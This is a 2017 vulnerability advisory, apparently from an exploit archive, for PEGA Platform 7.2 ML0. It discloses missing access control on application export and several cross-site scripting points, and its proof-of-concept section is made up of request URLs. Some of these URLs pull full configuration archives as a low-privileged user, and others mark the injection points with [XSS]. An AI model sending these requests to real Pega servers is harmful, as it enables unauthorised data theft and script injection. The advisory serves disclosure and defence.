PEGA Platform 7.2 ML0 Missing Access Control / Cross Site Scripting

Published
Credit
Risk
2017.07.19
Daniel Correa
Low
CWE
CVE
Local
Remote
CWE-79
CVE-2017-11356
CVE-2017-11355
No
Yes

Summary
=======
1. Missing access control (CVE-2017-11356)
2. Multiple cross-site scripting (CVE-2017-11355)


Vendor
======
"Pegasystems Inc. is the leader in software for customer engagement and
operational excellence. Pegaas adaptive, cloud-architected software a built
on its unified PegaA(r) Platform a empowers people to rapidly deploy, and
easily extend and change applications to meet strategic business needs.
Over its 30-year history, Pega has delivered award-winning capabilities in
CRM and BPM, powered by advanced artificial intelligence and robotic
automation, to help the worldas leading brands achieve breakthrough
business results."

https://www.pega.com/about


Tested version
==============
PEGA Platform <= 7.2 ML0


Vulnerabilities and PoC
=======================
1. Missing access control on the application distribution export
functionality (CVE-2017-11356)

Low privileged users can directly access the administrator resources to
download a full compressed file with configurations and files of the
platform, a 300MB compressed file was downloaded in a production
environment.

Affected components could be found on the PEGA Designer Studio through the
"Application > Distribution > Export" path.

To exploit this vulnerability the following requests must be made:

1.1 Export Mode: By application
https://PEGASERVER/prweb/RANDOMTOKEN/!STANDARD?pyActivity=Rule-Application.pzLPPerformAppExport&ApplicationName=APPNAME&ApplicationVersion=VERSION
https://PEGASERVER/prweb/RANDOMTOKEN/ServiceExport/APPNAME_VERSION_DATE_GMT.zip

1.2 Export Mode: By RuleSet/Version
https://PEGASERVER/prweb/RANDOMTOKEN/!STANDARD?pyActivity=Rule-RuleSet-Version.PegaRULESMove_RunBatchReq&pyZipFileName=configurations.zip&pyRuleSet=APPNAME&pyRuleSetVersion=VERSION&pyAppContext=&PageName=pyZipMoveRuleSets
https://PEGASERVER/prweb/RANDOMTOKEN/ServiceExport/configurations.zip

1.3 Export Mode: By Product
https://PEGASERVER/prweb/RANDOMTOKEN/!STANDARD?pyActivity=Rule-Admin-Product.RunBatchReq&ZipFileName=configurations.zip&ProductKey=RULE-ADMIN-PRODUCT%20APPNAME%20DATE%20GMT
https://PEGASERVER/prweb/RANDOMTOKEN/ServiceExport/configurations.zip

1.4 Archive On Server
https://PEGASERVER/prweb/RANDOMTOKEN/!STANDARD?pyActivity=@baseclass.DownloadFile&FileName=FILENAME


2. Multiple cross-site scripting (CVE-2017-11355)

2.1 Main page

https://PEGASERVER/prweb/RANDOMTOKEN/![XSS]

2.2 JavaBean viewer

https://PEGASERVER/prweb/RANDOMTOKEN/!STANDARD?pyActivity=Data-Admin-IS-.JavaBeanViewer&beanReference=[XSS]

2.3 System database schema modification

https://PEGASERVER/prweb/RANDOMTOKEN/!STANDARD?pyActivity=Data-Admin-DB-Table.DBSchema_ListClassesInTable
POST:
pzFromFrame=&pzUseThread=&pzTransactionId=&pzPrimaryPageName=pyDbSchemaTablesList&pyDatabaseName=PegaDATA&pyTableName=[XSS]


Variables
=========
PEGASERVER: IP/domain of the platform installation.
RANDOMTOKEN: random token generated per installation, it is random but
known to the user.
APPNAME: name of the application.
VERSION: application version.
FILENAME: physical filename of the backup.
DATE: current date of the request.


Timeline
========
01/06/2017: Vendor is notified through support and security email
07/06/2017: CERT/CC contacted, vulnerabilities are not coordinated
17/07/2017: No response from vendor, CVE assigned, full disclosure



See this note in RAW Version

 
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